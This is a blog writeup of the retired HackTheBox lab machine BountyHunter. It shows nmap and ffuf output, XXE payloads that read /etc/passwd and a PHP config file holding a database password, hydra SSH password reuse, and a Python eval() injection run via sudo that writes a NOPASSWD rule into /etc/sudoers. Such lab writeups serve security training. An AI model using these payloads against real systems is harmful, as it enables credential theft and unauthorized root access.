HTB: BountyHunter

Posted on 28 Dec 2021 in security • 4 min read

BountyHunterCard

This is a writeup about a retired HacktheBox machine: BountyHunter publish on July 25, 2021 by ejedev. This box is rated as an easy machine. It implies an XXE and some python.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Wed Jul 28 04:40:09 2021 as: nmap -A -p- -sSV -oN notes.md 10.129.180.140
Nmap scan report for 10.129.180.140
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   17.87 ms 10.10.14.1
2   18.02 ms 10.129.180.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Web

The website is a bug bounty one.

Website homepage

We launch a fuff against it, founding a db.php script (which return an empty page).

└─$ ./ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.73.239/FUZZ -e .php -mc 200
<SNIP>
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]

The portal allow to create a new bug report sending a base64 encoded XML to the endpoint. This looks like an XXE (https://portswigger.net/web-security/xxe) vulnerability. We modify the XML sent to the endpoint to retrieve /etc/passwd.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <bugreport>
    <title>&xxe;</title>
    <cwe>11</cwe>
    <cvss>11</cvss>
    <reward>11</reward>
    </bugreport>

We urlEncode(Base64(ourPayload)) and send it to the server, getting the file back.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Next we try to retrieve the portal.php file using our XXE vulnerability but the file seems to be empty (which we know it is not). We use a PHP filter to load the file with the following payload:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./portal.php"> ]>
    <bugreport>
    <title>&xxe;</title>
    <cwe>11</cwe>
    <cvss>11</cvss>
    <reward>11</reward>
    </bugreport>

We get the file but it does not contain anything interesting. We retrieve the db.php file using the same method:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

We got the database to be password. We create a list of user form the /etc/passwd file and add the bounty, admin and test users to the list and launch hydra against the SSH service.

└─$ hydra ssh://10.129.73.239 -L users -p m19RoAU0hP41A1sTsq6K
<SNIP>
[22][ssh] host: 10.129.73.239   login: development   password: m19RoAU0hP41A1sTsq6K
1 of 1 target successfully completed, 1 valid password found

We can now connect to the box using the developement user and grab the user flag.

└─$ ssh development@10.129.73.239 #m19RoAU0hP41A1sTsq6K
development@10.129.73.239's password:
<SNIP>
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$ cat user.txt
f737187566092403094c901b3ffe6117

Root

Our development user has the permissions to run a specific home made python script as root.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Looking at the script we notice that it read a file, check a few condition then eval the first line starting with **

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

We write our own file a.md to pass the few checks and got our payload inside the eval() statement.

# Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4__import__('os').system('id')

Once we run this "ticket" we got a code execution (id) as root.

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
a.md
Destination: toto
uid=0(root) gid=0(root) groups=0(root)
Invalid ticket.

We know have a few option to get a root shell (who could also just cat the root flag but that's lazy):

  • Add a root (id 0) user to /etc/passwd with a password of our choice (see armageddon)
  • Add an ssh key to root
  • run a reverse shell
  • surcharge our sudo permissions

We will do the latest here. Our "ticket" file will be the following:

# Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4+__import__('os').system('echo \'development    ALL=NOPASSWD: ALL\'>> /etc/sudoers')

We run the ticketValidator.py script with the sudo permission and get a root shell and the flag.

development@bountyhunter:~$ sudo su
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# cd
root@bountyhunter:~# cat /root/root.txt
8bc89c35cfcc7dbce1c4f6ea0e1093d5

Wrapping up

An "easy" machine as long as you think about the PHP filter and running dirb (or ffuf) with the PHP extension. Then the root flag is quit easy.